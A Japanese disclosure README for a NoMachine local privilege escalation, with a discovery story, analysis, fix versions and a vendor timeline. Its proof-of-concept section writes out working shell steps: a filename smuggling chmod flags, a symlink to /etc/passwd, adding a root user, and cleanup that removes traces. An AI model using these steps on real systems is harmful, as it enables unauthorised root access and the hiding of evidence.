CVE-2026-53694: NoMachine における引数インジェクションによるローカル権限昇格

概要

このリポジトリには、Linux 版 NoMachine におけるローカル権限昇格 (LPE) 脆弱性である CVE-2026-53694 の解説記事と概念実証 (PoC) が含まれています。

nxchmod.sh スクリプトにおける引数デリミタの不適切な無害化により、ローカルの非特権ユーザーが root として実行されるシステムコマンドに引数を注入できます。この引数インジェクションをシンボリックリンクと組み合わせることで、攻撃者は重要なシステムファイル (/etc/passwd など) を上書きし、権限を root に昇格させることができます。

この脆弱性はベンダーによって完全に修正されています。

発見の経緯

この脆弱性の発見は、試行錯誤と深夜のひらめきの連続でした。発見の経緯は以下のとおりです:

ターゲットの観察: /usr/NX/scripts/restricted/nxchmod.sh スクリプトが、特定のディレクトリのパーミッションを管理するために root ユーザーによって定期的に実行されていることに気づきました。
当初のアイデア (行き止まり): スクリプトがファイルに対して chmod a+rw を適用しているのを見て、こう考えました: 保存先を自分で制御できるなら、シンボリックリンクを使って /etc/passwd を書き込み可能にできるのではないか? 標準的なシンボリックリンク (ln -s /etc/passwd /tmp/asdf) を試しましたが、失敗しました。/tmp のようなディレクトリに設定された Linux のスティッキービットにより、root ユーザーが他ユーザーの作成したシンボリックリンクを無条件に辿ることは防がれます。
突破口: 後日スクリプトの実行を確認していたところ、コマンドがどのように構築されているかに気づきました: ${COMMAND_CHMOD} ${MOD_STRING} ${FILE_PATH}。スクリプトはファイル名をそのまま受け取り、chmod に直接渡していました。
ファイル名によるコマンドインジェクション: スペースとフラグを含む名前のファイルを作成できると気づきました。X1234 -R -L という名前のファイルを作成しました。スクリプトが実行されると、chmod コマンドはこれを単一のファイルパスではなく引数として展開しました。
スティッキービットの回避: ファイル名を介して -L (シンボリックリンクを辿る) と -R (再帰的) フラグを chmod コマンドに注入することで、chmod バイナリ自体にディレクトリ内で作成したシンボリックリンクを解決・追跡させ、スティッキービットの保護を完全に回避しました。
LPE の達成: /etc/passwd が書き込み可能 (a+rw) になると、新しい root ユーザーをファイルに追記し、su でそのユーザーに切り替えるだけで済みました。

技術的分析

この脆弱性は、NoMachine が X11/Wayland ソケットのパーミッションを処理する方法に起因します。スクリプト nxchmod.sh は、root として実行される nxserver.bin デーモンによって起動されます。

脆弱な実行部分は以下のようになっています:

# /usr/NX/scripts/restricted/nxchmod.sh
${COMMAND_CHMOD} ${MOD_STRING} ${FILE_PATH}

攻撃者がディレクトリ構造と X1234 -R -L という名前のファイルを作成すると、root によって実行される結果のコマンドは次のようになります: /bin/chmod a+rw /tmp/.X11-unix/X1234 -R -L

/etc/passwd を指すシンボリックリンクが X1234 ディレクトリ内に配置されると、注入された -R および -L 引数によって chmod がシンボリックリンクを再帰的に辿るよう強制され、対象ファイルにグローバルな読み取り/書き込み権限が付与されます。

悪用の要件

このエクスプロイトが機能するには、ターゲットシステムが以下の条件を満たしている必要があります:

OS が Wayland を使用していること (X11 ではない)。
Xwayland が有効であること。
グラフィカルセッションが実行されていること (ログイン画面で十分)。

概念実証

この脆弱性は、シェルコマンドを使って手動で再現することも、提供されている Python スクリプトを使って自動的に再現することもできます。

方法 1: 手動実行 (シェル)

/tmp/.X11-unix/ に移動し、以下のコマンドを実行して悪意のあるディレクトリ構造を作成します。

cd /tmp/.X11-unix/

# 1. Exploitation setup
touch "X1234 -R -L"
mkdir X1234
ln -s /etc/passwd /tmp/.X11-unix/X1234/pwn

# Wait for nxchmod.sh to execute (can take up to 60 seconds).
# Verify the permissions of /etc/passwd have changed to -rw-rw-rw-
# You can now edit /etc/passwd to add a root user.

脆弱性を確認し権限を昇格させた後は、以下のクリーンアップコマンドを実行してシステムの安定性を回復し、痕跡を削除します:

# 2. Cleanup
rm "X1234 -R -L"
unlink X1234/pwn
rmdir X1234
chmod 644 /etc/passwd

方法 2: 自動エクスプロイト

完全な自動エクスプロイトは poc.py に用意されています。このスクリプトは Wayland の要件を検証し、シンボリックリンクを設定し、nxchmod.sh の実行サイクルを待って、新しい root ユーザー (gg) を /etc/passwd に注入します。

エクスプロイトを実行するには:

python3 poc.py

修正

この脆弱性は NoMachine によって対処されています。ユーザーは以下のバージョン以降にアップデートする必要があります:

NoMachine 9.5.7
NoMachine 8.23.2

タイムライン

2026-04-20: 脆弱性をベンダーに報告。
2026-04-23: ベンダーが脆弱性を確認し、協調的開示に同意。
2026-05-07: ベンダーが修正バージョン (9.5.7 および 8.23.2) をリリースし、トラブルレポート TR04X11802 を公開。
2026-06-10: CVE-2026-53694 が NVD に公開。

CVE-2026-53694-NoMachine-LPE

人気